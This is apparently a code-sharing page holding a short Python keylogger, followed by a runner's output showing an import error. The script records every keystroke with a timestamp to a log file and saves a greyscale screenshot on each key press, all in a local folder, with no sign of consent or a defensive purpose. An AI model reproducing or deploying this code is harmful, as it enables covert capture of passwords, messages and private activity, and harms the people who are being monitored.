fork(343) download
  1. from pynput.keyboard import Key, Listener
  2. from datetime import datetime
  3. import pyautogui
  4. import logging
  5.  
  6. log_dir = "C:/Users/Matrix/logs/"
  7.  
  8. logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG,format='%(asctime)s: %(message)s')
  9.  
  10. def scr():
  11. time_raw=str(datetime.now())
  12. date = time_raw.split(".")[0]
  13. name_file = date.replace(":"," ")
  14. pyautogui.screenshot().convert('LA').convert('RGB').save(log_dir + name_file+'.jpg', quality=10)
  15.  
  16. def on_press(key):
  17. logging.info(key)
  18. scr()
  19.  
  20. with Listener(on_press=on_press) as listener:
  21. listener.join()
Runtime error #stdin #stdout #stderr 0.01s 27664KB
stdin
Standard input is empty
stdout
Standard output is empty
stderr
Traceback (most recent call last):
  File "./prog.py", line 1, in <module>
ImportError: No module named 'pynput'